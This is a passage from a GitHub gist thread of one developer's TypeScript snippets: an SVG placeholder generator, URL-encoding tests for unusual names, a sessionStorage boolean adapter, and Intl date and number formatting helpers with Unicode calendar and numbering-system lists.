      '" stroke="gainsboro"/>'
  }
  svgStringOutcome +=
    '<text x="' +
    width / 2 +
    '" y="' +
    (height / 2 + fontsize / 4) +
    '" font-size="' +
    fontsize +
    '" font="' +
    font +
    '" fill="white" text-anchor="middle">' +
    (width + ' x ' + height) +
    '</text></svg>'

  return svgStringOutcome
}

const makeSVGdatauri = (width, height, color, wireframes) =>
  'data:image/svg+xml;charset=utf-8,' +
  encodeURIComponent(makeSVG(width, height, color, wireframes))

@renoirb
Copy link
Author

renoirb commented Nov 2, 2021

Unusual names and URL Encoding

const ENCODED_DECODED: [string, string][] = [
  ['weapons of mass destruction', 'weapons+of+mass+destruction'],
  // Jess Úst̓i > https://twitter.com/renoirb/status/1413460788216532994?s=20
  ['Jess Úst̓i', 'Jess%20%C3%9Ast%CC%93i'],
  ['Jennifer Null', 'Jennifer%20Null'],
  ['Janice Keihanaikukauakahihulihe', 'Janice%20Keihanaikukauakahihulihe'],
  ['张伟 張' /* Zhāng Wěi Zhāng */, '%E5%BC%A0%E4%BC%9F%20%E5%BC%B5'],
  ['植松 伸夫' /* Uematsu Nobuo */, '%E6%A4%8D%E6%9D%BE%20%E4%BC%B8%E5%A4%AB'],
  ['Björk Guðmundsdóttir', 'Bj%C3%B6rk%20Gu%C3%B0mundsd%C3%B3ttir'],
  ['X Æ A-12,', 'X%20%C3%86%20A-12%2C'],
]

// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent
// https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams
const ourQueryURIComponentEncoder = (paramsString: string): string => {
  // Unfinished Pseudo code
  const serializr = new URLSearchParams(paramsString)
  const stringified = String(serializr) //.toString()
  return stringified !== '' ? `?${stringified}` : ''
}

it.each(ENCODED_DECODED)('Name %s should be encoded as %s and back', ([decoded, encoded]) => {
  const input = ourQueryURIComponentEncoder(decoded)
  const output = encoded
  expect(input).toBe(output)
})

it.each`
  decoded            | encoded
  ${'q='}            | ${'q'}
  ${'q&other-flag='} | ${'q&other-flag'}
  ${'q&other-flag='} | ${'q&other-flag'}
`('URIComponent $decoded should be encoded $encoded and back', ({ decoded, encoded }) => {
  // TODO: Validate when items in search part are equivalent (q= === q), etc.
  // https://datatracker.ietf.org/doc/html/rfc3986#section-3.4
  const input = `http://example.org/foo/bar${ourQueryURIComponentEncoder(decoded)}`
  const output = `http://example.org/foo/bar${encoded}`
  expect(input).toBe(output)
})

@renoirb
Copy link
Author

renoirb commented Nov 10, 2021

Serializing and DeSerializing String of boolean

Assuming getFromSessionStorage and setToSessionStorage only does read and write to localStorage or sessionStorage as a string to the key hasUserBeenPromptedKey that's configurable.

export type IBooleanAsString = 'true' | 'false'

export const assertIsStringWithBoolean: (input: unknown) => asserts input is IBooleanAsString = input => {
  assert(typeof input === 'string', `Received string "${input} was not a string`)
  assert(/^(true|false)$/.test(input), `Received string "${input} is not the string "true" or "false"`)
}

export class StringBooleanSerializationAdapter {
  static deserialize(input: string): boolean {
    let outcome = false
    assertIsStringWithBoolean(input)
    if (input === 'false') {
      outcome = false
    } else {
      outcome = input === 'true'
    }

    return outcome
  }
  static serialize(input: boolean): IBooleanAsString {
    const converted = String(input)
    assertIsStringWithBoolean(converted)
    return converted as IBooleanAsString
  }
}

export interface IValueDataStorageAdapter<T> {
  /**
   * The key in which the value will be stored in
   */
  readonly key: string
  /**
   * The appropriately deserialized value parsed from storage
   */
  readonly value: T
  /**
   * Make a read into storage for the value at key
   */
  check(): T
  /**
   * Mutate the storage to that new value
   */
  write(value: T): void
}

export class HasBeenPromptedStorageAdapter implements IValueDataStorageAdapter<boolean> {
  private readonly _storageKey: string

  private _storageContents: string | '' = ''

  get value(): boolean {
    return StringBooleanSerializationAdapter.deserialize(this._storageContents)
  }

  get key(): string {
    return this._storageKey
  }

  constructor(storageKey: string) {
    this._storageKey = storageKey
    this.check()
  }

  /**
   * @throws AssertionError - When storage service stored with an unacceptable string
   */
  check(): boolean {
    const received = getFromSessionStorage(this._storageKey) ?? ''
    let outcome = false
    // This is deliberate that if this._storageContents is '', that deserialize throws
    // so that we can catch when calling check
    try {
      outcome = StringBooleanSerializationAdapter.deserialize(received)
      // Do not mutate private if invalid
      this._storageContents = received
    } catch (e) {
      const message = `${e} in SessionStorage at key ${this._storageKey}`
      throw new AssertionError(message)
    }
    return outcome
  }

  write(value: boolean): void {
    const persisting = StringBooleanSerializationAdapter.serialize(value)
    setToSessionStorage(this._storageKey, persisting)
    this._storageContents = persisting
  }
}

@renoirb
Copy link
Author

renoirb commented Nov 25, 2021

Intl NumberFormat and DateTimeFormat

/**
 * Supported Locales countries (some of)
 *
 * @type {string[]}
 */
const LOCALES = [
  'fr-CA',
  'fr-FR',
  'ja-JP',
  'en-US',
  'en-GB',
  'ar-EG',
  'de-DE',
  'de-CH',
  'en-AU',
]

/**
 * Supported Unicode Calendar (some of)
 *
 * In [MDN Intl docs][MDN_Intl] locales, the "ca" part.
 * See also [MDN Intl.Locale calendar][MDN_Intl_Locale]
 *
 * [MDN_Intl_Locale]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/Locale/calendar#unicode_calendar_keys
 * [MDN_Intl]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/DateTimeFormat#parameters
 *
 * @type {string[]}
 */
const UNICODE_CALENDARS = [
  // Traditional Chinese calendar
  'chinese',
  // Coptic calendar
  'coptic',
  // Traditional Korean calendar
  'dangi',
  // Ethiopic calendar, Amete Alem (epoch approx. 5493 B.C.E)
  'ethioaa',
  // Ethiopic calendar, Amete Mihret (epoch approx, 8 C.E.)
  'ethiopic',
  // Gregorian calendar
  'gregory',
  // Traditional Hebrew calendar
  'hebrew',
  // Indian calendar
  'indian',
  // Islamic calendar
  'islamic',
  // Islamic calendar, Umm al-Qura
  'islamic-umalqura',
  // Islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - astronomical epoch)
  'islamic-tbla',
  // Islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - civil epoch)
  'islamic-civil',
  // Islamic calendar, Saudi Arabia sighting
  'islamic-rgsa',
  // ISO calendar (Gregorian calendar using the ISO 8601 calendar week rules)
  'iso8601',
  // Japanese Imperial calendar
  'japanese',
  // Persian calendar
  'persian',
  // Civil (algorithmic) Arabic calendar
  'roc',
  // Civil (algorithmic) Arabic calendar
  'islamicc',
  // Thai Buddhist calendar
  'buddhist',
] as const

/**
 * Supported Unicode numerals (some of)
 *
 * Partial list from [MDN Intl NumberFormat][MDN_Intl_NumberFormat], some more are listed in [MDN’s numberingSystem][MDN_Intl_numberingSystem]
 * and in the [Unicode specification][Unicode_tr35_numbers].
 *
 * As for Japanese and Chinese, [they share the same numeral system][Japanese_And_Chinese_numeral]
 *
 * [MDN_Intl]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/DateTimeFormat#parameters
 * [MDN_Intl_NumberFormat]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/NumberFormat
 * [MDN_Intl_numberingSystem]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/Locale/numberingSystem
 * [Unicode_tr35_numbers]: https://www.unicode.org/reports/tr35/tr35-numbers.html#Contents
 * [Japanese_And_Chinese_numeral]: https://en.wikipedia.org/wiki/Japanese_numerals
 */
const UNICODE_NUMERALS = [
  'latn',
  'hanidec',
  'thai',
  // Personally never tried are below
  'adlm',
  'ahom',
  'arab',
  'arabext',
  'bali',
  'beng',
  'bhks',
  'brah',
  'cakm',
  'cham',
  'deva',
  'diak',
  'fullwide',
  'gong',
  'gonm',
  'gujr',
  'guru',
  'hmng',
  'hmnp',
  'java',
  'kali',
  'khmr',
  'knda',
  'lana',
  'lanatham',
  'laoo',
  'lepc',
  'limb',
  'mathbold',
  'mathdbl',
  'mathmono',
  'mathsanb',
  'mathsans',
  'mlym',
  'modi',
  'mong',
  'mroo',
  'mtei',
  'mymr',
  'mymrshan',
  'mymrtlng',
  'newa',
  'nkoo',
  'olck',
  'orya',
  'osma',
  'rohg',
  'saur',
  'segment',
  'shrd',
  'sind',
  'sinh',
  'sora',
  'sund',
  'takr',
  'talu',
  'tamldec',
  'telu',
  'tibt',
  'tirh',
  'vaii',
  'wara',
  'wcho',
] as const

/**
 * The Numbering systems for Intl.NumberFormat.
 *
 * Somehow (to be studied), the following entries [in numberingSystem][MDN_Intl_numberingSystem] does not exactly match the same as
 * Numerals.
 *
 * [MDN_Intl_numberingSystem]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/Locale/numberingSystem
 */
const UNICODE_NUMBERING_SYSTEMS = [
  // Adlam digits
  'adlm',
  // Ahom digits
  'ahom',
  // Arabic-Indic digits
  'arab',
  // Extended Arabic-Indic digits
  'arabext',
  // Armenian upper case numerals — algorithmic
  'armn',
  // Armenian lower case numerals — algorithmic
  'armnlow',
  // Balinese digits
  'bali',
  // Bengali digits
  'beng',
  // Bhaiksuki digits
  'bhks',
  // Brahmi digits
  'brah',
  // Chakma digits
  'cakm',
  // Cham digits
  'cham',
  // Cyrillic numerals — algorithmic
  'cyrl',
  // Devanagari digits
  'deva',
  // Ethiopic numerals — algorithmic
  'ethi',
  // Financial numerals — may be algorithmic
  'finance',
  // Full width digits
  'fullwide',
  // Georgian numerals — algorithmic
  'geor',
  // Gunjala Gondi digits
  'gong',
  // Masaram Gondi digits
  'gonm',
  // Greek upper case numerals — algorithmic
  'grek',
  // Greek lower case numerals — algorithmic
  'greklow',
  // Gujarati digits
  'gujr',
  // Gurmukhi digits
  'guru',
  // Han-character day-of-month numbering for lunar/other traditional calendars
  'hanidays',
  // Positional decimal system using Chinese number ideographs as digits
  'hanidec',
  // Simplified Chinese numerals — algorithmic
  'hans',
  // Simplified Chinese financial numerals — algorithmic
  'hansfin',
  // Traditional Chinese numerals — algorithmic
  'hant',
  // Traditional Chinese financial numerals — algorithmic
  'hantfin',
  // Hebrew numerals — algorithmic
  'hebr',
  // Pahawh Hmong digits
  'hmng',
  // Nyiakeng Puachue Hmong digits
  'hmnp',
  // Javanese digits
  'java',
  // Japanese numerals — algorithmic
  'jpan',
  // Japanese financial numerals — algorithmic
  'jpanfin',
  // Japanese first-year Gannen numbering for Japanese calendar
  'jpanyear',
  // Kayah Li digits
  'kali',
  // Khmer digits
  'khmr',
  // Kannada digits
  'knda',
  // Tai Tham Hora (secular) digits
  'lana',
  // Tai Tham (ecclesiastical) digits
  'lanatham',
  // Lao digits
  'laoo',
  // Latin digits
  'latn',
  // Lepcha digits
  'lepc',
  // Limbu digits
  'limb',
  // Mathematical bold digits
  'mathbold',
  // Mathematical double-struck digits
  'mathdbl',
  // Mathematical monospace digits
  'mathmono',
  // Mathematical sans-serif bold digits
  'mathsanb',
  // Mathematical sans-serif digits
  'mathsans',
  // Malayalam digits
  'mlym',
  // Modi digits
  'modi',
  // Mongolian digits
  'mong',
  // Mro digits
  'mroo',
  // Meetei Mayek digits
  'mtei',
  // Myanmar digits
  'mymr',
  // Myanmar Shan digits
  'mymrshan',
  // Myanmar Tai Laing digits
  'mymrtlng',
  // Native digits
  'native',
  // Newa digits
  'newa',
  // N'Ko digits
  'nkoo',
  // Ol Chiki digits
  'olck',
  // Oriya digits
  'orya',
  // Osmanya digits
  'osma',
  // Hanifi Rohingya digits
  'rohg',
  // Roman upper case numerals — algorithmic
  'roman',
  // Roman lowercase numerals — algorithmic
  'romanlow',
  // Saurashtra digits
  'saur',
  // Sharada digits
  'shrd',
  // Khudawadi digits
  'sind',
  // Sinhala Lith digits
  'sinh',
  // Sora_Sompeng digits
  'sora',
  // Sundanese digits
  'sund',
  // Takri digits
  'takr',
  // New Tai Lue digits
  'talu',
  // Tamil numerals — algorithmic
  'taml',
  // Modern Tamil decimal digits
  'tamldec',
  // Telugu digits
  'telu',
  // Thai digits
  'thai',
  // Tirhuta digits
  'tirh',
  // Tibetan digits
  'tibt',
  // Traditional numerals — may be algorithmic
  'traditio',
  // Vai digits
  'vaii',
  // Warang Citi digits
  'wara',
  // Wancho digits
  'wcho',
] as const

type IUnicodeCalendar = typeof UNICODE_CALENDARS[number]
type IUnicodeNumberals = typeof UNICODE_NUMERALS[number]
type IUnicodeNumberingSystem = typeof UNICODE_NUMBERING_SYSTEMS[number]

const isUnicodeCalendar = (
  input: string | unknown,
): input is IUnicodeCalendar =>
  UNICODE_CALENDARS.includes(input as IUnicodeCalendar)

const isUnicodeNumeral = (
  input: string | unknown,
): input is IUnicodeNumberals =>
  UNICODE_NUMERALS.includes(input as IUnicodeNumberals)

const isUnicodeNumberingSystem = (
  input: string | unknown,
): input is IUnicodeNumberingSystem =>
  UNICODE_NUMBERING_SYSTEMS.includes(input as IUnicodeNumberingSystem)

/** ----------------------------- Function that relies on data above goes under this line ----------------------------- */

const isOnlyLanguageTag = (locale) =>
  typeof locale === 'string' &&
  locale.charAt(2) === '-' &&
  locale
    .replace('-', '')
    .split('')
    .map((l) => /[a-z]/i.test(l))
    .every((t) => t === true)

const assertOnlyLanguageTag = (input) => {
  if (!isOnlyLanguageTag(input)) {
    const message = `Unexpected input "${input}", we expected only a language tag without unicode additions such as "fr-CA"`
    throw new TypeError(message)
  }
}

const assertUnicodeCalendar: (
  input: unknown,
) => asserts input is IUnicodeCalendar = (input) => {
  if (!isUnicodeCalendar(input)) {
    const message = `Invalid unicode calendar symbol ${input}`
    throw new TypeError(message)
  }
}

const assertUnicodeNumeral: (
  input: unknown,
) => asserts input is IUnicodeNumberals = (input) => {
  if (!isUnicodeNumeral(input)) {
    const message = `Invalid numeral symbol ${input}`
    throw new TypeError(message)
  }
}

const assertUnicodeNumberingSystem: (
  input: unknown,
) => asserts input is IUnicodeNumberingSystem = (input) => {
  if (!isUnicodeNumberingSystem(input)) {
    const message = `Invalid numering system name ${input}`
    throw new TypeError(message)
  }
}

const withNumeralLanguageTag = (
  locale: string,
  numeral: IUnicodeNumberals = 'latn',
) => {
  assertUnicodeNumeral(numeral)
  assertOnlyLanguageTag(locale)
  const rest = ['u', 'nu', numeral].join('-')
  return `${locale}-${rest}`
}

const withCalendarLanguageTag = (
  locale: string,
  calendar: IUnicodeCalendar = 'gregory',
) => {
  assertUnicodeCalendar(calendar)
  assertOnlyLanguageTag(locale)
  const rest = ['u', 'ca', calendar].join('-')
  return `${locale}-${rest}`
}

/**
 * Initializes a configured Intl.DateTimeFormat
 *
 * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
 *
 * @returns {Intl.DateTimeFormat}
 */
const createDateTimeFormat = (
  locale: string,
  calendar: IUnicodeCalendar = 'gregory',
  numberingSystem: IUnicodeNumberingSystem = 'latn',
  options: Intl.DateTimeFormatOptions = {},
): ReturnType<typeof Intl.DateTimeFormat> => {
  const localeString = withCalendarLanguageTag(locale, calendar)
  const opts = { numberingSystem, ...options }
  if ('numberingSystem' in opts) {
    assertUnicodeNumberingSystem(opts.numberingSystem)
  }
  return new Intl.DateTimeFormat(localeString, opts)
}

/**
 * Initializes a configured Intl.NumberFormat
 *
 * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
 *
 * @returns {Intl.NumberFormat}
 */
const createNumberFormat = (
  locale: string,
  numeral: IUnicodeNumberals,
): ReturnType<typeof Intl.NumberFormat> => {
  const localeString = withNumeralLanguageTag(locale, numeral)
  return new Intl.NumberFormat(localeString)
}

EXAMPLES

NumberFormat

> var nf = createNumberFormat('fr-CA')
> nf.format('111111')
'111 111'
> nf.format(111111)
'111 111'
> nf.format(111_111)
'111 111'

> var nf = createNumberFormat('de-DE', 'latn')
> nf.format(111_111)
'111.111'

> var nf = createNumberFormat('fr-CA', 'thai')
> nf.format(111_111)
'๑๑๑ ๑๑๑'

> var nf = createNumberFormat('de-DE', 'thai')
> nf.format(111_111)
'๑๑๑.๑๑๑'
> nf.format(123_456)
'๑๒๓.๔๕๖'

> var nf = createNumberFormat('de-DE', 'java')
> nf.format(111_111)
'꧑꧑꧑.꧑꧑꧑'
> nf.format(123_456)
'꧑꧒꧓.꧔꧕꧖'

DateTimeFormat

var dt = createDateTimeFormat('fr-CA', 'gregory')
var dt = createDateTimeFormat('fr-CA')

var usedOptions = dt.resolvedOptions()
usedOptions.numberingSystem
> 'latn'

var dt = createDateTimeFormat('fr-CA', 'buddhist')
dt.format(Date.now())
> 'EB 2564-11-25'

var dt = createDateTimeFormat('fr-CH', 'japanese')
dt.format(Date.now())
> '25/11/3 R'


var dt = createDateTimeFormat('fr-CA', 'gregory', 'latn', { month: 'long' })
dt.format(Date.now())
> février

var dt = createDateTimeFormat('fr-CA', 'gregory', 'latn', { dateStyle: 'full' })
dt.format(Date.now())
> mercredi 16 février 2022

Figuring out difference between numbering system and numerals

var foo = UNICODE_NUMBERING_SYSTEMS.filter(value => UNICODE_NUMERALS.includes(value) === false ? value : undefined)
> foo
[
  'armn',     'armnlow',  'cyrl',
  'ethi',     'finance',  'geor',
  'grek',     'greklow',  'hanidays',
  'hans',     'hansfin',  'hant',
  'hantfin',  'hebr',     'jpan',
  'jpanfin',  'jpanyear', 'native',
  'roman',    'romanlow', 'taml',
  'traditio'
]
var foo = UNICODE_NUMERALS.filter(value => UNICODE_NUMBERING_SYSTEMS.includes(value) === false ? value : undefined);
> foo
[ 'diak', 'segment' ]

@renoirb
Copy link
Author

renoirb commented Dec 17, 2021

When NODE_OPTIONS max-old-space

const hasMaxOldSpace = process.env.NODE_OPTIONS.split(' ')
  .map((c) => c.replace(/^--/, ''))
  .map((c) => c.split('=')[0])
  .includes('max-old-space-size')
if (!hasMaxOldSpace) {
  process.env.NODE_OPTIONS = [
    process.env.NODE_OPTIONS,
    '--max-old-space-size=8192',
  ].join(' ')
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment